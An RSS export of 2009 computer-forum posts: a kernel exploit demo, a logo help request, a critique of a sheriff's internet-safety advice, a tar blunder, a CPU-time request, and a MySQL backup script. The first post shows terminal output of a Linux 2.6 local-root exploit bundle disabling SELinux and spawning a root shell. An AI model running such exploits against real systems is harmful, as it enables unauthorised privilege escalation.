<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Science Forums - Computer Science and Technology</title>
		<link>http://hypography.com/forums/</link>
		<description>Software, hardware, computational theory, cool peripherals, and emerging cybernetic technologies</description>
		<language>en</language>
		<lastBuildDate>Sun, 22 Nov 2009 00:42:15 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://hypography.com/forums/images/styles/new_facebook/images/misc/rss.jpg</url>
			<title>Science Forums - Computer Science and Technology</title>
			<link>http://hypography.com/forums/</link>
		</image>
		<item>
			<title>Ridiculous 2.6 Exploit</title>
			<link>http://hypography.com/forums/computer-science-technology/21453-ridiculous-2-6-exploit.html</link>
			<pubDate>Thu, 19 Nov 2009 21:59:26 GMT</pubDate>
			<description>So the other day, this guy, spender, found an exploit in the linux kernel that disables selinux...</description>
			<content:encoded><![CDATA[<div>So the other day, this guy, spender, found an exploit in the linux kernel that disables selinux rules, effecting basically almost every 2.6 kernel... payload? root, i call it root in one easy step, here's output from a run i did on my system earlier on:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">alexander@alex:~/$ uname -a<br />
Linux alex 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 x86_64 GNU/Linux<br />
alexander@alex:~/$ id<br />
uid=1000(alexander) gid=1000(alexander) groups=4(adm),20(dialout),24(cdrom),46(plugdev),110(lpadmin),111(sambashare),112(admin),126(burning),1000(alexander)<br />
alexander@alex:~/$ ./run_exploit.sh <br />
Compiling exp_cheddarbay.c...OK.<br />
Compiling exp_ingom0wnar.c...OK.<br />
Compiling exp_moosecox.c...OK.<br />
Compiling exp_paokara.c...OK.<br />
Compiling exp_powerglove.c...OK.<br />
Compiling exp_therebel.c...OK.<br />
Compiling exp_vmware.c...failed.<br />
Compiling exp_wunderbar.c...OK.<br />
&nbsp;[+] MAPPED ZERO PAGE!<br />
Choose your exploit:<br />
&nbsp;[0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root<br />
&nbsp;[1] MooseCox: Linux-2.X-&gt;Linux.2.6.31.unfixed pipe local root<br />
&nbsp;[2] Paokara: Linux 2.6.19-&gt;2.6.31.1 eCryptfs local root<br />
&nbsp;[3] Powerglove: Linux 2.6.31 perf_counter local root<br />
&nbsp;[4] The Rebel: Linux &lt; 2.6.19 udp_sendmsg() local root<br />
&nbsp;[5] Wunderbar Emporium: Linux 2.X sendpage() local root<br />
&nbsp;[6] Exit<br />
&gt; 1<br />
&nbsp;------------------------------------------------------------------------------<br />
&nbsp;[+] Resolved selinux_enforcing to 0xffffffff819b7ba8<br />
&nbsp;[+] Resolved selinux_enabled to 0xffffffff819b7ba4<br />
&nbsp;[+] Resolved apparmor_enabled to 0xffffffff817f7184<br />
&nbsp;[+] Resolved security_ops to 0xffffffff819b6330<br />
&nbsp;[+] Resolved default_security_ops to 0xffffffff817b5120<br />
&nbsp;[+] Resolved sel_read_enforce to 0xffffffff8122dc20<br />
&nbsp;[+] Resolved audit_enabled to 0xffffffff81976324<br />
&nbsp;[+] Resolved commit_creds to 0xffffffff8107f270<br />
&nbsp;[+] Resolved prepare_kernel_cred to 0xffffffff8107f480<br />
&nbsp;[+] Using newer pipe_inode_info layout<br />
&nbsp;[+] We'll let this go for a while if needed...<br />
&nbsp;[+] got ring0!<br />
&nbsp;[+] detected cred support<br />
&nbsp;[+] Disabled security of : nothing, what an insecure machine!<br />
&nbsp;[+] Got root!<br />
sh: gthumb: not found<br />
# id<br />
uid=0(root) gid=0(root)<br />
#</code><hr />
</div>if that's not ridiculous, i don't know what is....<br />
<br />
The sad part is that this is not an issue found in selinux code itself, its a compiler optimization problem, which is crazy, right?  So, question is, how do we protect from these types of exploits in the future, and also dark wizards?</div>

]]></content:encoded>
			<category domain="http://hypography.com/forums/computer-science-technology/">Computer Science and Technology</category>
			<dc:creator>alexander</dc:creator>
			<guid isPermaLink="true">http://hypography.com/forums/computer-science-technology/21453-ridiculous-2-6-exploit.html</guid>
		</item>
		<item>
			<title>Photo Help</title>
			<link>http://hypography.com/forums/computer-science-technology/21433-photo-help.html</link>
			<pubDate>Tue, 17 Nov 2009 20:48:46 GMT</pubDate>
			<description>Hey Guys and Gals, 
 
I have been trying to get an image to work for a project of mine. 
 
I have...</description>
			<content:encoded><![CDATA[<div>Hey Guys and Gals,<br />
<br />
I have been trying to get an image to work for a project of mine.<br />
<br />
I have attached what I have so far.<br />
I want to use it as a logo for a future site...and I can't get the image any bigger without it getting all pixel-y.<br />
<br />
I really would love to have a larger rendering of this image that was nice and sharp...<br />
Any suggestions as to how to get it?<br />
<br />
Thanks guys.</div>


	<br />
	<div style="padding:6px">

	
		<fieldset class="fieldset">
			<legend>Attached Thumbnails</legend>
			<div style="padding:3px">
			
<a href="http://hypography.com/forums/attachments/computer-science-technology/2826d1258490795-photo-help-logo-em.png" rel="Lightbox_284716" id="attachment2826" target="_blank"><img class="thumbnail" src="http://hypography.com/forums/attachments/computer-science-technology/2826d1258490795t-photo-help-logo-em.png" border="0" alt="Click image for larger version

Name:	Logo EM.png
Views:	N/A
Size:	7.2 KB
ID:	2826" /></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="http://hypography.com/forums/computer-science-technology/">Computer Science and Technology</category>
			<dc:creator>OpenMind5</dc:creator>
			<guid isPermaLink="true">http://hypography.com/forums/computer-science-technology/21433-photo-help.html</guid>
		</item>
		<item>
			<title>Why  should people who make policies, be required to know about the subject at stake!</title>
			<link>http://hypography.com/forums/computer-science-technology/21425-why-should-people-who-make-policies-required-know-about-subject-stake.html</link>
			<pubDate>Mon, 16 Nov 2009 14:59:10 GMT</pubDate>
			<description>Firstly the source, this might not stay here for too too long, so i will copy and paste the...</description>
			<content:encoded><![CDATA[<div>Firstly the source, this might not stay here for too too long, so i will copy and paste the interesting parts of this, because it's so hilarious, original source: <a href="http://www.co.thurston.wa.us/sheriff/community-outreach/personal-safety-computers.htm" target="_blank">Thurston County Sheriff's Office</a><br />
<br />
highlights: <br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				The &quot;Information Super Highway,&quot; which is made up of commercial online services such as Prodigy, America Online, CompuServe, and the Internet
			
			<hr />
		</td>
	</tr>
	</table>
</div>And the Internet? lol and it continues<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				allows millions of people around the world to communicate anonymously in a virtually uncontrolled electronic world
			
			<hr />
		</td>
	</tr>
	</table>
</div>LOL, a, the internet is not anonymous, and hasn't been for many years, and the electronic world is very much controlled...<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				As parents, you should notify the ISP (Internet Service Provider) or BBS (Bulletin Board System) SYSOP (system operator) of the problem.
			
			<hr />
		</td>
	</tr>
	</table>
</div>Lol, BBS, it's really hard to find one today, there are probably a few in the world still operating... Make sure you stress to your kids how important it is to keep their horse clean, cavalry is an important part of modern battle-field.<br />
<br />
Most parents have no clue what an ISP is, never mind how to contact them, or that usually ISP has nothing to do with the abuse they mention above, like:<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				Do not respond to anyone who leaves you obnoxious, sexual, or menacing email.
			
			<hr />
		</td>
	</tr>
	</table>
</div>or<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				Be aware of undesirable chat rooms and bulletin boards. Use the &quot;parental discretion&quot; options when necessary to block these areas.
			
			<hr />
		</td>
	</tr>
	</table>
</div>gets us to the best section ever, if your child does this, they might be a computer criminal:<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				withdraws from friends, family, &quot;lives on the computer,&quot; and may lose interest in social activities
			
			<hr />
		</td>
	</tr>
	</table>
</div> ok, thats like 1/2 the people who use computers, or just aging ;)<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				Use of a new, unusual vocabulary, heavy with computer terms, satanic phrases, sexual references or a sudden interest in related hard rock or satanic oriented posters, music, etc.
			
			<hr />
		</td>
	</tr>
	</table>
</div> LOL<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				Look for related doodling or writing using of words such as: Hacking,                           Phreaking, or any words with &quot;ph&quot; replacing 'f&quot;
			
			<hr />
		</td>
	</tr>
	</table>
</div> Yes, lol, and if they are involved with drugs, look for drug-related doodling, marijuana leafs, words like crack, meth, acid, or any chemical terms you might not be familiar with.<font face="Arial"><font size="2"><font color="#254117"><br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">Lack of interest in self and appearance, grooming and hygiene, or indications of lack of sleep, sudden drop in school grades, and unauthorized absences from classes.</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"> Unauthorized absence from computer classes is what gets people to write articles like this....<br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">The computer and modem are running late at night, even when unattended</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"><br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">Computer files ending in GIF, JPG, BMP, TIF, PCX, DL, GL, FLI, MPG, AVI, MOV - these are picture or graphic files and parents should know what they illustrate. Image files may be pictures of a sexual nature and can be of very high quality, moving pictures, and even include sound.</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"> lol moving pictures... yes, keep sex secret from your high-schooler, lol, and interest in the opposite sex in the beginning stages of child's sexual maturity is a clear indication of criminal activities<br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">Names on communication programs that seem satanic, pornographic, rude, or vulgar in nature</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"> Yes, like irc programs, such as mirc, xchat, etc (there are many more), or anonymity programs like tor, all share this trend...<br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">An obsession with fantasy adventure games such as Dungeons and Dragons and Trade Wars</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"> rotflamao<br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">Use of the computer to scan or run telephone or credit card numbers</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"><br />
and how are parents to find out about this exactly, oh right<br />
</font></font></font><div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font face="Arial"><font size="2"><font color="#254117">If the computer is showing a series of changing numbers, the computer may be running a hacking program trying to identify calling card &quot;pin&quot; numbers, long distance access numbers, or be attempting to validate credit card numbers.</font></font></font>
			
			<hr />
		</td>
	</tr>
	</table>
</div><font face="Arial"><font size="2"><font color="#254117"><br />
someone's been watching too much TV, lol...<br />
<br />
So, bottom line is, how do we disallow policy-makers from making policies about subjects they haven't the first clue about? This is funny, but it is scary because most people don't know any better but to follow those guide-lines, trusting the gov-t office to &quot;know best&quot;, and it's sad that the people behind crap like this don't even care enough to try to make the best advise they can actually make that is relevant to today's world...<br />
<br />
Something to think/talk about.<br />
</font></font></font></div>

]]></content:encoded>
			<category domain="http://hypography.com/forums/computer-science-technology/">Computer Science and Technology</category>
			<dc:creator>alexander</dc:creator>
			<guid isPermaLink="true">http://hypography.com/forums/computer-science-technology/21425-why-should-people-who-make-policies-required-know-about-subject-stake.html</guid>
		</item>
		<item>
			<title><![CDATA[Stupid things you catch yourself doing, that make you go "GAH!!"]]></title>
			<link>http://hypography.com/forums/computer-science-technology/21318-stupid-things-you-catch-yourself-doing-make-you-go-gah.html</link>
			<pubDate>Tue, 03 Nov 2009 23:20:44 GMT</pubDate>
			<description><![CDATA[ok, just did this: 
scp'd this tar over... its a little over 200M 
went to extract it with 
*tar...]]></description>
			<content:encoded><![CDATA[<div>ok, just did this:<br />
scp'd this tar over... its a little over 200M<br />
went to extract it with<br />
<b><i>tar cvf file.tar .</i></b><br />
... DOH<br />
scpying it over again......</div>

]]></content:encoded>
			<category domain="http://hypography.com/forums/computer-science-technology/">Computer Science and Technology</category>
			<dc:creator>alexander</dc:creator>
			<guid isPermaLink="true">http://hypography.com/forums/computer-science-technology/21318-stupid-things-you-catch-yourself-doing-make-you-go-gah.html</guid>
		</item>
		<item>
			<title>Slack cores/cluster anybody?</title>
			<link>http://hypography.com/forums/computer-science-technology/21309-slack-cores-cluster-anybody.html</link>
			<pubDate>Tue, 03 Nov 2009 03:17:56 GMT</pubDate>
			<description>Do folks have a fast box (core duo) sitting idle or a bored cluster with nothing to do?  Uncle Al...</description>
			<content:encoded><![CDATA[<div>Do folks have a fast box (core duo) sitting idle or a bored cluster with nothing to do?  Uncle Al could use a donation of, oh, 20,000 CPU-hrs in Linux.  (Knoppix Live 5.3, not 6.x, is an excellent DvD boot for any box.  Remember to start typing within 60 seconds at the first splash screen, at the bottom, knoppix lang=us dma [ENTER])<br />
<br />
Uncle Al is again crunching a monstrous iterative problem,<br />
<br />
<a href="http://www.mazepath.com/uncleal/glydense.png" target="_blank">http://www.mazepath.com/uncleal/glydense.png</a> <br />
 Theory is -2 slope, 0.4633849 intercept. <br />
<a href="http://www.mazepath.com/uncleal/gly2dens.png" target="_blank">http://www.mazepath.com/uncleal/gly2dens.png</a> <br />
 Needs more crunching to 35K radius. <br />
<a href="http://www.mazepath.com/uncleal/qz4.htm#b1" target="_blank">PURSUING THE LIMITS OF FAILED SYMMETRY</a> <br />
 <br />
Linux static file, about 5 MB of output, excecutes in RAM, only uses a hard or flash drive to hold the program and results.  If you want to compile the C++ source file yourself, that's also OK.<br />
<br />
My AMD FX-55 is crunching dense out to 20,000 A radius (finish around March).  A Canadian core-duo Mac is doing 20K-25K (60 overnights).  25K-35K is open.  Execution time increases as (radius)^2.  Windoze is 40% slower in the same iron.  Got crunch?<br />
 <br />
Here or xenophage'usual connector'gmail(give it a dot)com</div>

]]></content:encoded>
			<category domain="http://hypography.com/forums/computer-science-technology/">Computer Science and Technology</category>
			<dc:creator>UncleAl</dc:creator>
			<guid isPermaLink="true">http://hypography.com/forums/computer-science-technology/21309-slack-cores-cluster-anybody.html</guid>
		</item>
		<item>
			<title>One line king strikes again :)</title>
			<link>http://hypography.com/forums/computer-science-technology/21220-one-line-king-strikes-again.html</link>
			<pubDate>Fri, 23 Oct 2009 18:26:09 GMT</pubDate>
			<description><![CDATA[So if you haven't caught on, i like to make random 1 line long scripts that do cool things, and...]]></description>
			<content:encoded><![CDATA[<div>So if you haven't caught on, i like to make random 1 line long scripts that do cool things, and this is one of these times when its no different, introducing the one liner that does my mysql backups :)<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">cd / &amp;&amp; tar cf root/01_mysql_nightly.tar var/log/mysql/`ls -t1 /var/log/mysql | head -n2 | sed -n 2p` &amp;&amp; for file in `ls -t1 /var/backups/ | head -n2`; do tar rf root/01_mysql_nightly.tar var/backups/${file}; done &amp;&amp; gzip -f root/01_mysql_nightly.tar &amp;&amp; wput root/01_mysql_nightly.tar.gz ftp://user:pass@1.2.3.4/01_mysql_nightly.tar.gz</code><hr />
</div>so a little more explanation is needed here...<br />
<br />
Mini MySQL backup howto:<br />
<br />
i use unix's logrotate utility to do the actual mysql dumps, to do that i have created a folder /var/backups<br />
then i created a logrotate job /etc/logrotate.d/mysql_backup<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">/var/backups/mybase.sql.gz {<br />
&nbsp; &nbsp; &nbsp; &nbsp; rotate 60<br />
&nbsp; &nbsp; &nbsp; &nbsp; daily<br />
&nbsp; &nbsp; &nbsp; &nbsp; nocompress<br />
&nbsp; &nbsp; &nbsp; &nbsp; nocopytruncate<br />
&nbsp; &nbsp; &nbsp; &nbsp; postrotate<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HOME=/root mysqldump --opt --all-databases --master-data=2 --flush-logs | gzip &gt; /var/backups/mybase.sql.gz<br />
&nbsp; &nbsp; &nbsp; &nbsp; endscript<br />
}</code><hr />
</div>you can then <br />
touch /var/backup/mybase.sql.gz<br />
and run<br />
logrotate -f /etc/logrotate.d/mysql_backup<br />
which will do the first rotation :)<br />
then i created a cron task to run logrotate at midnight, because i want everything to be all set for the 1am tape write for sure<br />
so <br />
crontab -e<br />
added a line<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">0 0 * * * /usr/sbin/logrotate /etc/logrotate.d/mysql_backup &amp;&amp; /root/./ftp_backup.sh</code><hr />
</div>ok so that will run logrotate and then execute this ftp_backup script. Since we have a san that writes tapes for everything that's on it, if you throw things on the san, they are automagically backed up each night to tape, all i gotta do is ftp the backup up there (yea yea i know, ftp sucks, not my choice either)<br />
I decided to have a backup scheme as such, i back up today's and yesterday's dumps, as well as the binlog between those dates, this way if something is corrupt in the newest backup, i can use the previous backup, dump the transactions out of the binlog, edit the ones that cause the issue, replay them, and i have a functioning DB (without having to pull 2 tapes), so i incorporated this need int o my one line script<br />
<br />
ftp_backup.sh<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">#!/bin/bash<br />
cd / &amp;&amp; tar cf root/01_mysql_nightly.tar var/log/mysql/`ls -t1 /var/log/mysql | head -n2 | sed -n 2p` &amp;&amp; for file in `ls -t1 /var/backups/ | head -n2`; do tar rf root/01_mysql_nightly.tar var/backups/${file}; done &amp;&amp; gzip -f root/01_mysql_nightly.tar &amp;&amp; wput root/01_mysql_nightly.tar.gz ftp://user:pass@1.2.3.4/01_mysql_nightly.tar.gz</code><hr />
</div>done, change the script permission to 700 and we are done :)</div>

]]></content:encoded>
			<category domain="http://hypography.com/forums/computer-science-technology/">Computer Science and Technology</category>
			<dc:creator>alexander</dc:creator>
			<guid isPermaLink="true">http://hypography.com/forums/computer-science-technology/21220-one-line-king-strikes-again.html</guid>
		</item>
	</channel>
</rss>
